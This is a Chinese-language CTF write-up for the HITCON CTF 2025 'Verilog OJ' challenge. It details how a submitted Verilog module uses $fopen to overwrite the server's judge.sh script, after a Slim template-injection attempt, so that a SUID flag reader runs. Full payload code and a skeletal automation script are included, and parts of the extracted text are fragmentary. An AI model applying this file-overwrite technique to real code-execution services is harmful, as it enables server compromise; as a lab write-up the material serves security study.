HITCON CTF 2025 WriteUp
没人陪我玩 这是一道基于 Verilog 硬件描述语言的在线判题系统(OJ)渗透题目。选手需要通过提交 Verilog 代码来获取服务器上的 flag。 难度:284 分 首先通过 发现关键组件: 读取 关键发现: 通过分析 执行流程: 查看数据库中的 testbench: 发现需要实现一个 4 位 2×2 交叉开关模块 最初尝试在 Verilog 中直接调用系统命令: 结果:失败 ❌ 分析:Icarus Verilog 默认禁用了 尝试通过 结果:部分成功但不稳定 ⚠️ 问题:生产环境可能缓存模板,且需要额外的页面访问触发。 核心思路:既然无法直接执行系统命令,那就修改执行命令的脚本! 通过 优势: 需要两次提交: 第一次提交:覆盖判题脚本 第二次提交:触发新脚本执行 静态文件目录:通过分析 脚本执行路径:从 权限模型: 输出: 这道题目展现了硬件描述语言环境下的独特攻击面。通过深入分析判题系统的执行流程,发现了从 Verilog 代码到系统命令执行的完整攻击链。关键在于: 这种多层次的攻击思路体现了现代 CTF 题目的复杂性,需要选手具备从 Web 安全到系统安全的综合能力。 Flag: Verilog OJ [284pts] - CTF Write-up
题目概述
类型:Web + 硬件安全 + 文件写入
Flag:hitcon{testflag}
环境分析
架构概览
Docker 容器环境:
├── Ruby on Rails (Roda) Web 应用
├── SQLite 数据库
├── Redis (Sidekiq 任务队列)
├── Icarus Verilog 仿真器 (iverilog + vvp)
└── SUID 程序 /readflag
关键文件结构
/app/
├── scripts/judge.sh # 判题脚本(关键攻击点)
├── app/presentation/public/ # 静态文件目录(目标写入点)
├── app/db/store/voj.db # SQLite 数据库
└── app/ # Rails 应用目录
/readflag # SUID root 程序
/flag # 目标文件(root:root, 0400)
漏洞分析过程
第一步:文件枚举与架构理解
fd
和 rg
快速扫描所有相关文件:|
Dockerfile
- 容器构建逻辑readflag.c
- SUID 程序源码web/scripts/judge.sh
- 判题脚本web/app/services/run_judge.rb
- 判题服务web/config.ru
- Web 应用配置第二步:SUID 程序分析
readflag.c
:int
/readflag
具有 SUID root 权限(4555)give me the flag
/flag
并输出第三步:判题流程分析
judge_job.rb
和 judge.sh
,理解判题执行链:
stdout, stderr, status = Timeout.timeout(15) do
script_path = File.realpath()
Open3.capture3()
end
# ...
end
#!/bin/sh
module.v
(用户代码)和 testbench.v
(题目测试)/app/scripts/judge.sh
进行编译和仿真第四步:题目要求分析
SELECT testbench FROM problems WHERE id=1;
Crossbar_2x2_4bit
:control = 0
:直通模式(out1=in1, out2=in2)control = 1
:交叉模式(out1=in2, out2=in1)第五步:攻击向量探索
尝试 1:直接使用
$system
initial begin
$system("/readflag give me the flag > /app/app/presentation/public/flag.txt");
end
module.v:12: Error: System task/function $system() is not defined by any module.
$system
函数,无法直接执行系统命令。尝试 2:模板注入攻击
$fopen
覆盖 Slim 模板文件:integer fd;
initial begin
fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
if (fd) begin
$fdisplay(fd, "= %x{/readflag give me the flag}");
$fclose(fd);
end
end
尝试 3:判题脚本覆盖(成功方案)✅
$fopen
完全覆盖 /app/scripts/judge.sh
:integer fd;
initial begin
fd = $fopen("/app/scripts/judge.sh", "w");
if (fd) begin
$fdisplay(fd, "#!/bin/sh");
$fdisplay(fd, "set -e");
$fdisplay(fd, "/readflag give me the flag > /app/app/presentation/public/flag.txt");
$fdisplay(fd, "cd \"$1\"");
$fdisplay(fd, "iverilog module.v testbench.v -o judge");
$fdisplay(fd, "vvp judge");
$fclose(fd);
end
end
/readflag
调用最终利用方案
Payload 设计
`timescale 1ns/1ps
module Crossbar_2x2_4bit(
input [3:0] in1,
input [3:0] in2,
input control,
output [3:0] out1,
output [3:0] out2
);
assign out1 = control ? in2 : in1;
assign out2 = control ? in1 : in2;
integer fd;
initial begin
fd = $fopen("/app/scripts/judge.sh", "w");
if (fd) begin
$fdisplay(fd, "#!/bin/sh");
$fdisplay(fd, "set -e");
$fdisplay(fd, "/readflag give me the flag > /app/app/presentation/public/flag.txt");
$fdisplay(fd, "cd \"$1\"");
$fdisplay(fd, "iverilog module.v testbench.v -o judge");
$fdisplay(fd, "vvp judge");
$fclose(fd);
end
end
endmodule
`timescale 1ns/1ps
module Crossbar_2x2_4bit(
input [3:0] in1,
input [3:0] in2,
input control,
output [3:0] out1,
output [3:0] out2
);
assign out1 = control ? in2 : in1;
assign out2 = control ? in1 : in2;
endmodule
自动化利用脚本
#!/bin/zsh
PORT=""
BASE_URL="http://127.0.0.1:"
# 检查服务状态
if ! ; then
fi
# 第一次提交:覆盖脚本
# 第二次提交:触发执行
# 轮询获取 flag
for; do
if ; then
fi
done
技术细节
关键路径分析
config.ru
发现 Roda 配置了静态文件服务plugin :public, root:
judge_job.rb
确认脚本路径为 /app/scripts/judge.sh
script_path = File.realpath()
app
/readflag
权限:root:root 4555
app
可写安全机制绕过
$fopen
间接执行本地测试验证
环境启动
执行利用
验证结果
# 检查脚本是否被覆盖
# 验证 flag 文件
# HTTP 访问验证
hitcon{testflag}
防御建议
代码层面
架构层面
监控层面
总结
hitcon{testflag}